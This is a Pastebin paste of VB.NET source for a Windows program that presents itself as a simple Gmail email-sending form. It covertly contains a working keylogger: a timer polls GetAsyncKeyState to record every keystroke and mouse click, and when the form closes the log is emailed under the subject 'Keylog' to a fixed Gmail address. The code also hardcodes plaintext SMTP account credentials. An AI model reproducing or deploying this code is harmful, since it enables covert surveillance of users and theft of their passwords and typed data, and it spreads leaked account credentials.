Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
- Public log As String
- Private Sub Button2_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button2.Click
- BackgroundWorker1.RunWorkerAsync()
- End Sub
- Private Sub OpenFileDialog1_FileOk(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
- attach.Text$ = OpenFileDialog1.FileName
- End Sub
- Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click
- OpenFileDialog1.ShowDialog()
- End Sub
- Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
- Using mail As New MailMessage
- mail.From = New MailAddress("testemail27062001@gmail.com")
- mail.To.Add(destination.Text$)
- mail.Body = body.Text$
- If Not OpenFileDialog1.FileName = vbNullString Then
- Dim attach As New Attachment(OpenFileDialog1.FileName)
- mail.Attachments.Add(attach)
- End If
- mail.Subject = subject.Text$
- #Disable Warning BC42025 ' Access of shared member, constant member, enum member or nested type through an instance
- mail.Priority = mail.Priority.Normal
- #Enable Warning BC42025 ' Access of shared member, constant member, enum member or nested type through an instance
- Using SMTP As New SmtpClient
- SMTP.EnableSsl = True
- SMTP.Port = "587"
- SMTP.Host = "smtp.gmail.com"
- SMTP.Credentials = New Net.NetworkCredential("testemail27062001@gmail.com", "marko12345")
- SMTP.Send(mail)
- End Using
- End Using
- End Sub
- Private Sub BackgroundWorker1_RunWorkerCompleted(ByVal sender As Object, ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) Handles BackgroundWorker1.RunWorkerCompleted
- destination.Clear()
- subject.Clear()
- attach.Clear()
- body.Clear()
- MsgBox("Email has been sent successfully!", MsgBoxStyle.Information)
- End Sub
- Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
- Timer1.Start()
- End Sub
- Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
- If (GetAsyncKeyState(65)) Then
- Log = Log + "A "
- ElseIf (GetAsyncKeyState(66)) Then
- Log = Log + "B "
- ElseIf (GetAsyncKeyState(67)) Then
- Log = Log + "C "
- ElseIf (GetAsyncKeyState(68)) Then
- Log = Log + "D "
- ElseIf (GetAsyncKeyState(69)) Then
- Log = Log + "E "
- ElseIf (GetAsyncKeyState(70)) Then
- Log = Log + "F "
- ElseIf (GetAsyncKeyState(71)) Then
- Log = Log + "G "
- ElseIf (GetAsyncKeyState(72)) Then
- Log = Log + "H "
- ElseIf (GetAsyncKeyState(73)) Then
- Log = Log + "I "
- ElseIf (GetAsyncKeyState(74)) Then
- Log = Log + "J "
- ElseIf (GetAsyncKeyState(75)) Then
- Log = Log + "K "
- ElseIf (GetAsyncKeyState(76)) Then
- Log = Log + "L "
- ElseIf (GetAsyncKeyState(77)) Then
- Log = Log + "M "
- ElseIf (GetAsyncKeyState(78)) Then
- Log = Log + "N "
- ElseIf (GetAsyncKeyState(79)) Then
- Log = Log + "O "
- ElseIf (GetAsyncKeyState(80)) Then
- Log = Log + "P "
- ElseIf (GetAsyncKeyState(81)) Then
- Log = Log + "Q "
- ElseIf (GetAsyncKeyState(82)) Then
- Log = Log + "R "
- ElseIf (GetAsyncKeyState(83)) Then
- Log = Log + "S "
- ElseIf (GetAsyncKeyState(84)) Then
- Log = Log + "T "
- ElseIf (GetAsyncKeyState(85)) Then
- Log = Log + "U "
- ElseIf (GetAsyncKeyState(86)) Then
- Log = Log + "V "
- ElseIf (GetAsyncKeyState(87)) Then
- Log = Log + "W "
- ElseIf (GetAsyncKeyState(88)) Then
- Log = Log + "X "
- ElseIf (GetAsyncKeyState(89)) Then
- Log = Log + "Y "
- ElseIf (GetAsyncKeyState(90)) Then
- Log = Log + "Z "
- ElseIf (GetAsyncKeyState(48)) Then
- Log = Log + "0 "
- ElseIf (GetAsyncKeyState(49)) Then
- Log = Log + "1 "
- ElseIf (GetAsyncKeyState(50)) Then
- Log = Log + "2 "
- ElseIf (GetAsyncKeyState(51)) Then
- Log = Log + "3 "
- ElseIf (GetAsyncKeyState(52)) Then
- Log = Log + "4 "
- ElseIf (GetAsyncKeyState(53)) Then
- Log = Log + "5 "
- ElseIf (GetAsyncKeyState(54)) Then
- Log = Log + "6 "
- ElseIf (GetAsyncKeyState(55)) Then
- Log = Log + "7 "
- ElseIf (GetAsyncKeyState(56)) Then
- Log = Log + "8 "
- ElseIf (GetAsyncKeyState(57)) Then
- Log = Log + "9 "
- ElseIf (GetAsyncKeyState(96)) Then
- Log = Log + "{Num0} "
- ElseIf (GetAsyncKeyState(97)) Then
- Log = Log + "{Num1} "
- ElseIf (GetAsyncKeyState(98)) Then
- Log = Log + "{Num2} "
- ElseIf (GetAsyncKeyState(99)) Then
- Log = Log + "{Num3} "
- ElseIf (GetAsyncKeyState(100)) Then
- Log = Log + "{Num4} "
- ElseIf (GetAsyncKeyState(101)) Then
- Log = Log + "{Num5} "
- ElseIf (GetAsyncKeyState(102)) Then
- Log = Log + "{Num6} "
- ElseIf (GetAsyncKeyState(103)) Then
- Log = Log + "{Num7} "
- ElseIf (GetAsyncKeyState(104)) Then
- Log = Log + "{Num8} "
- ElseIf (GetAsyncKeyState(105)) Then
- Log = Log + "{Num9} "
- ElseIf (GetAsyncKeyState(106)) Then
- Log = Log + "{Num*} "
- ElseIf (GetAsyncKeyState(107)) Then
- Log = Log + "{Num+} "
- ElseIf (GetAsyncKeyState(13)) Then
- Log = Log + "{Enter} "
- ElseIf (GetAsyncKeyState(109)) Then
- Log = Log + "{Num-} "
- ElseIf (GetAsyncKeyState(110)) Then
- Log = Log + "{Num.} "
- ElseIf (GetAsyncKeyState(111)) Then
- Log = Log + "{Num/}"
- ElseIf (GetAsyncKeyState(32)) Then
- Log = Log + " "
- ElseIf (GetAsyncKeyState(8)) Then
- Log = Log + "{Backspace} "
- ElseIf (GetAsyncKeyState(9)) Then
- Log = Log + "{Tab} "
- ElseIf (GetAsyncKeyState(16)) Then
- Log = Log + "{Shift} "
- ElseIf (GetAsyncKeyState(17)) Then
- Log = Log + "{Control} "
- ElseIf (GetAsyncKeyState(20)) Then
- Log = Log + "{Caps} "
- ElseIf (GetAsyncKeyState(27)) Then
- Log = Log + "{Esc} "
- ElseIf (GetAsyncKeyState(33)) Then
- Log = Log + "{PGup} "
- ElseIf (GetAsyncKeyState(34)) Then
- Log = Log + "{PGdn} "
- ElseIf (GetAsyncKeyState(35)) Then
- Log = Log + "{End} "
- ElseIf (GetAsyncKeyState(36)) Then
- Log = Log + "{Home} "
- ElseIf (GetAsyncKeyState(37)) Then
- Log = Log + "{LArrow} "
- ElseIf (GetAsyncKeyState(38)) Then
- Log = Log + "{UArrow} "
- ElseIf (GetAsyncKeyState(39)) Then
- Log = Log + "{RArrow} "
- ElseIf (GetAsyncKeyState(40)) Then
- Log = Log + "{DArrow} "
- ElseIf (GetAsyncKeyState(45)) Then
- Log = Log + "{Insert} "
- ElseIf (GetAsyncKeyState(46)) Then
- Log = Log + "{Del} "
- ElseIf (GetAsyncKeyState(144)) Then
- Log = Log + "{NumLock} "
- ElseIf (GetAsyncKeyState(188)) Then
- Log = Log + "{,} "
- ElseIf (GetAsyncKeyState(1)) Then
- Log = Log + "[Levi klik] "
- ElseIf (GetAsyncKeyState(2)) Then
- Log = Log + "[Desni klik] "
- End If
- End Sub
- Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
- RichTextBox1.Text = log
- End Sub
- Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
- sendmail()
- End Sub
- Private Sub sendmail()
- Dim Mail As New MailMessage
- Mail.Subject = "Keylog"
- Mail.To.Add("mmirkov2706@gmail.com")
- Mail.From = New MailAddress("mmirkov2706@gmail.com")
- Mail.Body = Log
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential("testemail27062001@gmail.com", "marko12345")
- SMTP.Port = "587"
- SMTP.Send(Mail)
- End Sub
- Private Sub NotifyIcon1_MouseDoubleClick(sender As Object, e As MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick
- NotifyIcon1.Visible = False
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement